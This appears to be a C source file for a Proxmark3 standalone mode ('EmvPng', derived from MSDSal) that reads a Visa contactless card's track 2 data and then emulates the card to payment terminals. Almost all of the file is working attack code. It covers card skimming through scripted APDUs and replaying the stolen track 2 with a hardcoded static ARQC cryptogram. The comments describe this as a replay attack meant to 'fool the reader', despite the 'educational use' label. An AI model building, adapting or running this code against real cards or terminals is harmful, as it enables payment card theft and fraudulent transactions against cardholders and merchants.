@@ -0,0 +1,603 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//-----------------------------------------------------------------------------
// Project: EmvPng — EMV Emulator (fixed ARQC) – derived from MSDSal
//
// Copyright (C) 2023-2025 Davi Mikael C. R. (penegui)
// Modifications: EMV emulation with fixed ARQC for educational/lab use.
//
// Based on:
// MSDSal by Salvador Mendoza (salmg.net)
// Copyright (C) 2020 Salvador Mendoza
// Copyright (C) Proxmark3 contributors — see AUTHORS.md
//
// This program is free software: you can redistribute it and/or modify it
// under the terms of the GNU General Public License as published by the
// Free Software Foundation, either version 3 of the License, or (at your option)
// any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the full license text.
//-----------------------------------------------------------------------------
// Description:
// Code derived from MSDSal and adapted for EMV testing with a fixed ARQC
// in controlled environments. Educational use only.
//-----------------------------------------------------------------------------
// by Penegui
# include "standalone.h"
# include "proxmark3_arm.h"
# include "appmain.h"
# include "fpgaloader.h"
# include "util.h"
# include "dbprint.h"
# include "ticks.h"
# include "string.h"
# include "BigBuf.h"
# include "iso14443a.h"
# include "protocols.h"
# include "cmd.h"
void ModInfo ( void ) {
DbpString ( " HF - Reading Visa cards & Emulating a Visa EMV Transaction(ISO14443) - (Penegui) " ) ;
}
/* This standalone implements two different modes: reading and emulating.
*
* The initial mode is reading with LED A as guide.
* In this mode, the Proxmark expects a Visa Card,
* and will act as card reader. Trying to find track 2.
*
* If the Proxmark found a track 2, it will change to emulation mode (LED C) automatically.
* During this mode the Proxmark will behave as card, emulating a Visa EMV transaction
* using the pre-saved track2 from the previous reading.
*
* It is possible to jump from mode to another by simply pressing the button.
* However, to jump from reading to emulation mode, the LED C as to be on, which
* means having a track 2 in memory.
*
* Keep pressing the button down will quit the standalone cycle.
*
* LEDs:
* LED A = in reading mode
* LED C = in emulation(a track 2 in memory) mode
* LED A + LED C = in reading mode, but you can jump back to emulation mode by pressing the button
* LED B = receiving/sending commands, activity
*
*
* Reading or emulating ISO-14443A technology is not limited to payment cards. This example
* was not only designed to make a replay attack, but to open new possibilities in the ISO-14443A
* technologies. Be brave enough to share your knowledge & inspire others. Salvador Mendoza.
*/
// Default GET PROCESSING
static uint8_t ppdol [ 255 ] = { 0x80 , 0xA8 , 0x00 , 0x00 , 0x02 , 0x83 , 0x00 } ;
// Generate GET PROCESSING
static uint8_t treatPDOL ( const uint8_t * apdu ) {
uint8_t plen = 7 ;
// PDOL Format: 80 A8 00 00 + (PDOL Length+2) + 83 + PDOL Length + PDOL + 00
for ( uint8_t i = 1 ; i < = apdu [ 0 ] ; i + + ) { // Magic stuff, the generation order is important
if ( apdu [ i ] = = 0x9F & & apdu [ i + 1 ] = = 0x66 ) { // Terminal Transaction Qualifiers
ppdol [ plen ] = 0xF6 ;
ppdol [ plen + 1 ] = 0x20 ;
ppdol [ plen + 2 ] = 0xC0 ;
ppdol [ plen + 3 ] = 0x00 ;
plen + = 4 ;
i + = 2 ;
} else if ( apdu [ i ] = = 0x9F & & apdu [ i + 1 ] = = 0x1A ) { // Terminal Country Code
ppdol [ plen ] = 0x9F ;
ppdol [ plen + 1 ] = 0x1A ;
plen + = 2 ;
i + = 2 ;
} else if ( apdu [ i ] = = 0x9F & & apdu [ i + 1 ] = = 0x02 ) { // Authorized amount
ppdol [ plen ] = 0x00 ;
ppdol [ plen + 1 ] = 0x00 ;
ppdol [ plen + 2 ] = 0x00 ;
ppdol [ plen + 3 ] = 0x00 ;
ppdol [ plen + 4 ] = 0x01 ;
ppdol [ plen + 5 ] = 0x00 ;
plen + = 6 ;
i + = 2 ;
} else if ( apdu [ i ] = = 0x9F & & apdu [ i + 1 ] = = 0x03 ) { // Secondary / cashback amount
ppdol [ plen ] = 0x00 ;
ppdol [ plen + 1 ] = 0x00 ;
ppdol [ plen + 2 ] = 0x00 ;
ppdol [ plen + 3 ] = 0x00 ;
ppdol [ plen + 4 ] = 0x00 ;
ppdol [ plen + 5 ] = 0x00 ;
plen + = 6 ;
i + = 2 ;
} else if ( apdu [ i ] = = 0x5F & & apdu [ i + 1 ] = = 0x2A ) { // Transaction Currency Code
ppdol [ plen ] = 0x5F ;
ppdol [ plen + 1 ] = 0x2A ;
plen + = 2 ;
i + = 2 ;
} else if ( apdu [ i ] = = 0x9A ) { // Transaction Date
ppdol [ plen ] = 0x9A ;
ppdol [ plen + 1 ] = 0x9A ;
ppdol [ plen + 2 ] = 0x9A ;
plen + = 3 ;
i + = 1 ;
} else if ( apdu [ i ] = = 0x95 ) { // Terminal Verification Results
ppdol [ plen ] = 0x95 ;
ppdol [ plen + 1 ] = 0x95 ;
ppdol [ plen + 2 ] = 0x95 ;
ppdol [ plen + 3 ] = 0x95 ;
ppdol [ plen + 4 ] = 0x95 ;
plen + = 5 ;
i + = 1 ;
} else if ( apdu [ i ] = = 0x9C ) { // Transaction Type
ppdol [ plen ] = 0x9C ;
plen + = 1 ;
i + = 1 ;
} else if ( apdu [ i ] = = 0x9F & & apdu [ i + 1 ] = = 0x37 ) { // Unpredictable Number
ppdol [ plen ] = 0x9F ;
ppdol [ plen + 1 ] = 0x37 ;
ppdol [ plen + 2 ] = 0x9F ;
ppdol [ plen + 3 ] = 0x37 ;
plen + = 4 ;
i + = 2 ;
} else { // To the others, add "0" to complete the format depending on its range
uint8_t u = apdu [ i + 2 ] ;
while ( u > 0 ) {
ppdol [ plen ] = 0 ;
plen + = 1 ;
u - - ;
}
i + = 2 ;
}
}
ppdol [ 4 ] = ( plen + 2 ) - 7 ; // Length of PDOL + 2
ppdol [ 6 ] = plen - 7 ; // Real length
plen + + ; // +1 because the last 0
ppdol [ plen ] = 0x00 ; // Add the last 0 to the challenge
return plen ;
}
void RunMod ( void ) {
StandAloneMode ( ) ;
DbpString ( _YELLOW_ ( " >> " ) " Reading Visa cards & Emulating a Visa EMV Transaction a.k.a. EmvPng Started " _YELLOW_ ( " << " ) ) ;
FpgaDownloadAndGo ( FPGA_BITSTREAM_HF ) ;
//For reading process
iso14a_card_select_t card_a_info ;
uint8_t apdubuffer [ MAX_FRAME_SIZE ] = { 0x00 } ;
//Specific for Visa cards: select ppse, select Visa AID, GET PROCESSING, SFI
uint8_t ppse [ 20 ] = {
0x00 , 0xA4 , 0x04 , 0x00 , 0x0e , 0x32 , 0x50 , 0x41 ,
0x59 , 0x2e , 0x53 , 0x59 , 0x53 , 0x2e , 0x44 , 0x44 ,
0x46 , 0x30 , 0x31 , 0x00
} ;
uint8_t visa [ 13 ] = {
0x00 , 0xA4 , 0x04 , 0x00 , 0x07 , 0xa0 , 0x00 , 0x00 ,
0x00 , 0x03 , 0x10 , 0x10 , 0x00
} ;
uint8_t processing [ 8 ] = { 0x80 , 0xA8 , 0x00 , 0x00 , 0x02 , 0x83 , 0x00 , 0x00 } ;
uint8_t sfi [ 5 ] = { 0x00 , 0xb2 , 0x01 , 0x0c , 0x00 } ;
uint8_t * apdus [ 4 ] = { ppse , visa , processing , sfi } ;
uint8_t apduslen [ 4 ] = { sizeof ( ppse ) , sizeof ( visa ) , sizeof ( processing ) , sizeof ( sfi ) } ;
uint8_t pdol [ 50 ] , plen = 8 ;
bool existpdol ;
// - EMV token card format -
//
// Card number.............. 4412 3456 0578 1234
// Expiration date.......... 17/11
// Service code............. 201
// Discretionary data....... 0000030000991
// Pin verification value... 0000
// CVV / iCvv............... 030
// Trailing................. 000991
// 44 12 34 56 05 78 12 34 D 1711 2 01 00 00 03 00 00 99 1
char token [ 19 ] = { 0x44 , 0x12 , 0x34 , 0x56 , 0x05 , 0x78 , 0x12 , 0x34 , 0xd1 , 0x71 , 0x12 , 0x01 , 0x00 , 0x00 , 0x03 , 0x00 , 0x00 , 0x99 , 0x1f } ;
// It is possible to initialize directly the emulation mode, having "token" with data and set "chktoken" = true ;)
//
//char token[19] = {0x00};
bool chktoken = true ;
// Allocate 512 bytes for the dynamic modulation, created when the reader queries for it
// Such a response is less time critical, so we can prepare them on the fly
# define DYNAMIC_RESPONSE_BUFFER_SIZE 64
# define DYNAMIC_MODULATION_BUFFER_SIZE 1024
// UID 4 bytes(could be 7 bytes if needed it)
uint8_t flags = FLAG_4B_UID_IN_DATA ;
// in case there is a read command received we shouldn't break
uint8_t data [ PM3_CMD_DATA_SIZE ] = { 0x00 } ;
uint8_t visauid [ 7 ] = { 0x01 , 0x02 , 0x03 , 0x04 } ;
memcpy ( data , visauid , 4 ) ;
// to initialize the emulation
uint8_t tagType = 11 ; // 11 = ISO/IEC 14443-4 - javacard (JCOP)
tag_response_info_t * responses ;
uint32_t cuid = 0 ;
uint32_t counters [ 3 ] = { 0x00 , 0x00 , 0x00 } ;
uint8_t tearings [ 3 ] = { 0xbd , 0xbd , 0xbd } ;
uint8_t pages = 0 ;
// command buffers
uint8_t receivedCmd [ MAX_FRAME_SIZE ] = { 0x00 } ;
uint8_t receivedCmdPar [ MAX_PARITY_SIZE ] = { 0x00 } ;
uint8_t dynamic_response_buffer [ DYNAMIC_RESPONSE_BUFFER_SIZE ] = { 0 } ;
uint8_t dynamic_modulation_buffer [ DYNAMIC_MODULATION_BUFFER_SIZE ] = { 0 } ;
// to know the transaction status
uint8_t prevCmd = 0 ;
// handler - command responses
tag_response_info_t dynamic_response_info = {
. response = dynamic_response_buffer ,
. response_n = 0 ,
. modulation = dynamic_modulation_buffer ,
. modulation_n = 0
} ;
// States for standalone
# define STATE_READ 0
# define STATE_EMU 1
uint8_t state = STATE_READ ;
// Checking if the user wants to go directly to emulation mode using a hardcoded track 2
if ( chktoken = = true & & token [ 0 ] ! = 0x00 ) {
state = STATE_EMU ;
DbpString ( _YELLOW_ ( " [ " ) " Initialized emulation mode " _YELLOW_ ( " ] " ) ) ;
DbpString ( " \n " _YELLOW_ ( " !! " ) " Waiting for a card reader... " ) ;
} else {
DbpString ( _YELLOW_ ( " [ " ) " Initialized reading mode " _YELLOW_ ( " ] " ) ) ;
DbpString ( " \n " _YELLOW_ ( " !! " ) " Waiting for a Visa card... " ) ;
}
for ( ; ; ) {
WDT_HIT ( ) ;
// exit from RunMod, send a usbcommand.
if ( data_available ( ) ) break ;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD ( 1000 ) ;
if ( button_pressed = = BUTTON_HOLD )
break ;
else if ( button_pressed = = BUTTON_SINGLE_CLICK ) {
// pressing one time change between reading & emulation
if ( state = = STATE_READ ) {
if ( chktoken = = true & & token [ 0 ] ! = 0x00 ) {
// only change to emulation if it saved a track 2 in memory
state = STATE_EMU ;
DbpString ( _YELLOW_ ( " [ " ) " In emulation mode " _YELLOW_ ( " ] " ) ) ;
} else
DbpString ( _YELLOW_ ( " !! " ) " Nothing in memory to emulate " ) ;
} else {
state = STATE_READ ;
DbpString ( _YELLOW_ ( " [ " ) " In reading mode " _YELLOW_ ( " ] " ) ) ;
}
}
SpinDelay ( 500 ) ;
if ( state = = STATE_READ ) {
LED_A_ON ( ) ;
if ( chktoken )
LED_C_ON ( ) ;
iso14443a_setup ( FPGA_HF_ISO14443A_READER_MOD ) ;
if ( iso14443a_select_card ( NULL , & card_a_info , NULL , true , 0 , false ) ) {
DbpString ( _YELLOW_ ( " + " ) " Found ISO 14443 Type A! " ) ;
for ( uint8_t i = 0 ; i < 4 ; i + + ) {
chktoken = false ;
LED_C_OFF ( ) ;
LED_B_ON ( ) ;
uint8_t apdulen = iso14_apdu ( apdus [ i ] , ( uint16_t ) apduslen [ i ] , false , apdubuffer , NULL ) ;
if ( apdulen > 0 ) {
DbpString ( _YELLOW_ ( " [ " ) " Proxmark command " _YELLOW_ ( " ] " ) ) ;
Dbhexdump ( apduslen [ i ] , apdus [ i ] , false ) ;
DbpString ( _GREEN_ ( " [ " ) " Card answer " _GREEN_ ( " ] " ) ) ;
Dbhexdump ( apdulen - 2 , apdubuffer , false ) ;
DbpString ( " ---- " ) ;
for ( uint8_t u = 0 ; u < apdulen ; u + + ) {
if ( i = = 1 ) {
// check for PDOL
if ( apdubuffer [ u ] = = 0x9F & & apdubuffer [ u + 1 ] = = 0x38 ) {
for ( uint8_t e = 0 ; e < = apdubuffer [ u + 2 ] ; e + + )
pdol [ e ] = apdubuffer [ u + e + 2 ] ;
// generate a challenge
plen = treatPDOL ( pdol ) ;
apdus [ 2 ] = ppdol ;
apduslen [ 2 ] = plen ;
existpdol = true ;
}
} else if ( i = = 3 ) {
// find track 2
if ( apdubuffer [ u ] = = 0x57 & & apdubuffer [ u + 1 ] = = 0x13 & & ! chktoken ) {
chktoken = true ;
memcpy ( & token , & apdubuffer [ u + 2 ] , 19 ) ;
break ;
}
}
}
if ( i = = 1 ) {
DbpString ( _GREEN_ ( " [ " ) " Challenge generated " _GREEN_ ( " ] " ) ) ;
Dbhexdump ( plen , existpdol ? ppdol : processing , false ) ;
}
} else {
DbpString ( _YELLOW_ ( " !! " ) " Error reading the card " ) ;
}
LED_B_OFF ( ) ;
}
if ( chktoken ) {
DbpString ( _RED_ ( " [ " ) " Track 2 " _RED_ ( " ] " ) ) ;
Dbhexdump ( 19 , ( uint8_t * ) token , false ) ;
DbpString ( _YELLOW_ ( " !! " ) " Card number " ) ;
Dbhexdump ( 8 , ( uint8_t * ) token , false ) ;
DbpString ( " --- " ) ;
LED_C_ON ( ) ;
state = STATE_EMU ;
DbpString ( _YELLOW_ ( " [ " ) " Initialized emulation mode " _YELLOW_ ( " ] " ) ) ;
DbpString ( " \n " _YELLOW_ ( " !! " ) " Waiting for a card reader... " ) ;
}
}
FpgaWriteConfWord ( FPGA_MAJOR_MODE_OFF ) ;
LED_D_OFF ( ) ;
} else if ( state = = STATE_EMU ) {
LED_A_OFF ( ) ;
LED_C_ON ( ) ;
// free eventually allocated BigBuf memory but keep Emulator Memory
BigBuf_free_keep_EM ( ) ;
if ( SimulateIso14443aInit ( tagType , flags , data , & responses , & cuid , counters , tearings , & pages ) = = false ) {
BigBuf_free_keep_EM ( ) ;
reply_ng ( CMD_HF_MIFARE_SIMULATE , PM3_EINIT , NULL , 0 ) ;
DbpString ( _YELLOW_ ( " !! " ) " Error initializing the emulation process! " ) ;
SpinDelay ( 500 ) ;
state = STATE_READ ;
DbpString ( _YELLOW_ ( " [ " ) " Initialized reading mode " _YELLOW_ ( " ] " ) ) ;
DbpString ( " \n " _YELLOW_ ( " !! " ) " Waiting for a Visa card... " ) ;
continue ;
}
// We need to listen to the high-frequency, peak-detected path.
iso14443a_setup ( FPGA_HF_ISO14443A_TAGSIM_LISTEN ) ;
// command length
int len = 0 ;
// to check emulation status
int retval = PM3_SUCCESS ;
bool odd_reply = true ;
clear_trace ( ) ;
set_tracing ( true ) ;
for ( ; ; ) {
LED_B_OFF ( ) ;
// clean receive command buffer
if ( ! GetIso14443aCommandFromReader ( receivedCmd , receivedCmdPar , & len ) ) {
DbpString ( _YELLOW_ ( " !! " ) " Emulator stopped " ) ;
retval = PM3_EOPABORTED ;
break ;
}
tag_response_info_t * p_response = NULL ;
LED_B_ON ( ) ;
// dynamic_response_info will be in charge of responses
dynamic_response_info . response_n = 0 ;
//Dbprintf("receivedCmd: %02x\n", receivedCmd);
// received a REQUEST
if ( receivedCmd [ 0 ] = = ISO14443A_CMD_REQA & & len = = 1 ) {
odd_reply = ! odd_reply ;
if ( odd_reply ) {
p_response = & responses [ RESP_INDEX_ATQA ] ;
}
// received a HALT
} else if ( receivedCmd [ 0 ] = = ISO14443A_CMD_HALT & & len = = 4 ) {
//DbpString(_YELLOW_("+") "Received a HALT");
p_response = NULL ;
// received a WAKEUP
} else if ( receivedCmd [ 0 ] = = ISO14443A_CMD_WUPA & & len = = 1 ) {
//DbpString(_YELLOW_("+") "WAKEUP Received");
prevCmd = 0 ;
p_response = & responses [ RESP_INDEX_ATQA ] ;
// received request for UID (cascade 1)
} else if ( receivedCmd [ 1 ] = = 0x20 & & receivedCmd [ 0 ] = = ISO14443A_CMD_ANTICOLL_OR_SELECT & & len = = 2 ) {
//DbpString(_YELLOW_("+") "Request for UID C1");
p_response = & responses [ RESP_INDEX_UIDC1 ] ;
// received a SELECT (cascade 1)
} else if ( receivedCmd [ 1 ] = = 0x70 & & receivedCmd [ 0 ] = = ISO14443A_CMD_ANTICOLL_OR_SELECT & & len = = 9 ) {
//DbpString(_YELLOW_("+") "Request for SELECT S1");
p_response = & responses [ RESP_INDEX_SAKC1 ] ;
// received a RATS request
} else if ( receivedCmd [ 0 ] = = ISO14443A_CMD_RATS & & len = = 4 ) {
DbpString ( _YELLOW_ ( " + " ) " Request for RATS " ) ;
prevCmd = 0 ;
//p_response = &responses[RESP_INDEX_RATS];
static uint8_t rRATS [ ] = { 0x13 , 0x78 , 0x80 , 0x72 , 0x02 , 0x80 , 0x31 , 0x80 , 0x66 , 0xb1 , 0x84 , 0x0c , 0x01 , 0x6e , 0x01 , 0x83 , 0x00 , 0x90 , 0x00 } ;
memcpy ( & dynamic_response_info . response [ 0 ] , rRATS , sizeof ( rRATS ) ) ;
dynamic_response_info . response_n = sizeof ( rRATS ) ;
} else {
DbpString ( _YELLOW_ ( " [ " ) " Card reader command " _YELLOW_ ( " ] " ) ) ;
Dbhexdump ( len , receivedCmd , false ) ;
// emulate a Visa EMV(Magnetic stripe data) card
if ( receivedCmd [ 0 ] = = 0x02 | | receivedCmd [ 0 ] = = 0x03 ) {
dynamic_response_info . response [ 0 ] = receivedCmd [ 0 ] ;
// depending on card reader commands, the Proxmark will answer to fool the reader
// respond with PPSE
if ( receivedCmd [ 2 ] = = 0xA4 & & receivedCmd [ 6 ] = = 0x32 & & prevCmd = = 0 ) {
uint8_t ppsea [ 72 ] = {
0x6F , 0x44 , 0x84 , 0x0E , 0x32 , 0x50 , 0x41 , 0x59 ,
0x2E , 0x53 , 0x59 , 0x53 , 0x2E , 0x44 , 0x44 , 0x46 ,
0x30 , 0x31 , 0xA5 , 0x32 , 0xBF , 0x0C , 0x2F , 0x61 ,
0x16 , 0x4F , 0x07 , 0xA0 , 0x00 , 0x00 , 0x00 , 0x03 ,
0x10 , 0x10 , 0x87 , 0x01 , 0x01 , 0x9F , 0x12 , 0x07 ,
0x43 , 0x52 , 0x45 , 0x44 , 0x49 , 0x54 , 0x4F , 0x61 ,
0x15 , 0x4F , 0x07 , 0xA0 , 0x00 , 0x00 , 0x00 , 0x03 ,
0x20 , 0x10 , 0x87 , 0x01 , 0x02 , 0x9F , 0x12 , 0x06 ,
0x44 , 0x45 , 0x42 , 0x49 , 0x54 , 0x4F , 0x90 , 0x00
} ;
memcpy ( & dynamic_response_info . response [ 1 ] , ppsea , sizeof ( ppsea ) ) ;
dynamic_response_info . response_n = sizeof ( ppsea ) + 1 ;
prevCmd + + ;
// respond Visa AID
} else if ( receivedCmd [ 2 ] = = 0xA4 & & receivedCmd [ 10 ] = = 0x03 & & receivedCmd [ 11 ] = = 0x10 & & prevCmd = = 1 ) {
uint8_t visauid_long [ 101 ] = {
0x6F , 0x61 , 0x84 , 0x07 , 0xA0 , 0x00 , 0x00 , 0x00 ,
0x03 , 0x10 , 0x10 , 0xA5 , 0x56 , 0x50 , 0x0C , 0x56 ,
0x49 , 0x53 , 0x41 , 0x20 , 0x43 , 0x52 , 0x45 , 0x44 ,
0x49 , 0x54 , 0x4F , 0x87 , 0x01 , 0x01 , 0x9F , 0x12 ,
0x07 , 0x43 , 0x52 , 0x45 , 0x44 , 0x49 , 0x54 , 0x4F ,
0x5F , 0x2D , 0x08 , 0x70 , 0x74 , 0x65 , 0x73 , 0x65 ,
0x6E , 0x66 , 0x72 , 0x9F , 0x11 , 0x01 , 0x01 , 0x9F ,
0x38 , 0x18 ,
// Tag 9F66 - Decodificador TTQ (Qualificadores de Transação de Terminal)
0x9F , 0x66 , 0x04 ,
0x9F , 0x02 , 0x06 ,
0x9F , 0x03 , 0x06 , 0x9F , 0x1A , 0x02 , 0x95 , 0x05 ,
0x5F , 0x2A , 0x02 , 0x9A , 0x03 , 0x9C , 0x01 , 0x9F ,
0x37 , 0x04 , 0xBF , 0x0C , 0x0E , 0x9F , 0x5A , 0x06 ,
0x52 , 0x09 , 0x86 , 0x00 , 0x76 , 0x30 , 0x42 , 0x03 ,
0x41 , 0x08 , 0x63 , 0x90 , 0x00
} ;
memcpy ( & dynamic_response_info . response [ 1 ] , visauid_long , sizeof ( visauid_long ) ) ;
dynamic_response_info . response_n = sizeof ( visauid_long ) + 1 ;
prevCmd + + ;
// GET PROCESSING
} else if ( receivedCmd [ 1 ] = = 0x80 & & receivedCmd [ 2 ] = = 0xA8 & & receivedCmd [ 6 ] = = 0x83 & & prevCmd = = 2 ) {
uint8_t processing_long_last [ 8 ] = { 0x77 , 0x5f , 0x82 , 0x02 , 0x20 , 0x00 , 0x57 , 0x13 } ;
uint8_t processing_long_rest [ 72 ] = {
0x5f , 0x20 , 0x0c , 0x50 , 0x41 , 0x59 , 0x57 , 0x41 ,
0x56 , 0x45 , 0x2f , 0x56 , 0x49 , 0x53 , 0x41 , 0x5f ,
0x34 , 0x01 , 0x00 ,
// Tag 9F10 - Issuer Application Data (IAD) Decoder
0x9f , 0x10 , 0x07 , 0x06 , 0x01 , 0x12 , 0x03 , 0xa0 , 0x20 , 0x00 ,
//assinatura ARQC Estatica
0x9f , 0x26 , 0x08 , 0xcb , 0x44 , 0x0d , 0x86 , 0x1a , 0xa8 , 0x33 , 0x1d ,
//que tipo de assinatura
0x9f , 0x27 , 0x01 , 0x80 ,
0x9f , 0x36 , 0x02 , 0x0f ,
0x57 , 0x9f , 0x5d , 0x06 , 0x00 , 0x00 , 0x00 , 0x00 ,
0x00 , 0x00 ,
// Tag 9F6C - Decodificador CTQ (Qualificadores de Transação de Cartão)
0x9f , 0x6c , 0x02 , 0x00 , 0x80 ,
// Tag 9F6E - Form Factor Indicator (Third Party Data Decoder)
0x9f , 0x6e , 0x04 , 0x20 , 0x70 , 0x00 , 0x00 ,
0x90 , 0x00
} ;
uint8_t processing_long [ 99 ] ;
memcpy ( & processing_long [ 0 ] , processing_long_last , sizeof ( processing_long_last ) ) ;
memcpy ( & processing_long [ 8 ] , token , sizeof ( token ) ) ;
memcpy ( & processing_long [ 27 ] , processing_long_rest , sizeof ( processing_long_rest ) ) ;
memcpy ( & dynamic_response_info . response [ 1 ] , processing_long , sizeof ( processing_long ) ) ;
dynamic_response_info . response_n = sizeof ( processing_long ) + 1 ;
prevCmd + + ;
// SFI
} else if ( receivedCmd [ 1 ] = = 0x00 & & receivedCmd [ 2 ] = = 0xB2 & & prevCmd = = 3 ) {
uint8_t last [ 4 ] = { 0x70 , 0x15 , 0x57 , 0x13 } ;
uint8_t statusapdu [ 2 ] = { 0x90 , 0x00 } ;
uint8_t card [ 25 ] ;
memcpy ( & card [ 0 ] , last , sizeof ( last ) ) ;
memcpy ( & card [ 4 ] , token , sizeof ( token ) ) ;
memcpy ( & card [ 23 ] , statusapdu , sizeof ( statusapdu ) ) ;
memcpy ( & dynamic_response_info . response [ 1 ] , card , sizeof ( card ) ) ;
dynamic_response_info . response_n = sizeof ( card ) + 1 ;
prevCmd + + ;
} else {
uint8_t finished [ 2 ] = { 0x6f , 0x00 } ;
memcpy ( & dynamic_response_info . response [ 1 ] , finished , sizeof ( finished ) ) ;
dynamic_response_info . response_n = sizeof ( finished ) + 1 ;
if ( prevCmd = = 5 ) {
prevCmd = 0 ;
}
}
} else {
DbpString ( _YELLOW_ ( " !! " ) " Received unknown command! " ) ;
if ( prevCmd < 4 ) {
memcpy ( dynamic_response_info . response , receivedCmd , len ) ;
dynamic_response_info . response_n = len ;
} else {
dynamic_response_info . response_n = 0 ;
}
}
}
if ( dynamic_response_info . response_n > 0 ) {
DbpString ( _GREEN_ ( " [ " ) " Proxmark3 answer " _GREEN_ ( " ] " ) ) ;
Dbhexdump ( dynamic_response_info . response_n , dynamic_response_info . response , false ) ;
DbpString ( " ---- " ) ;
// add CRC bytes, always used in ISO 14443A-4 compliant cards
AddCrc14A ( dynamic_response_info . response , dynamic_response_info . response_n ) ;
dynamic_response_info . response_n + = 2 ;
if ( prepare_tag_modulation ( & dynamic_response_info , DYNAMIC_MODULATION_BUFFER_SIZE ) = = false ) {
SpinDelay ( 500 ) ;
DbpString ( _YELLOW_ ( " !! " ) " Error preparing Proxmark to answer! " ) ;
continue ;
}
p_response = & dynamic_response_info ;
}
if ( p_response ! = NULL ) {
EmSendPrecompiledCmd ( p_response ) ;
}
}
switch_off ( ) ;
set_tracing ( false ) ;
BigBuf_free_keep_EM ( ) ;
reply_ng ( CMD_HF_MIFARE_SIMULATE , retval , NULL , 0 ) ;
}
}
DbpString ( _YELLOW_ ( " [=] " ) " exiting " ) ;
LEDsoff ( ) ;
}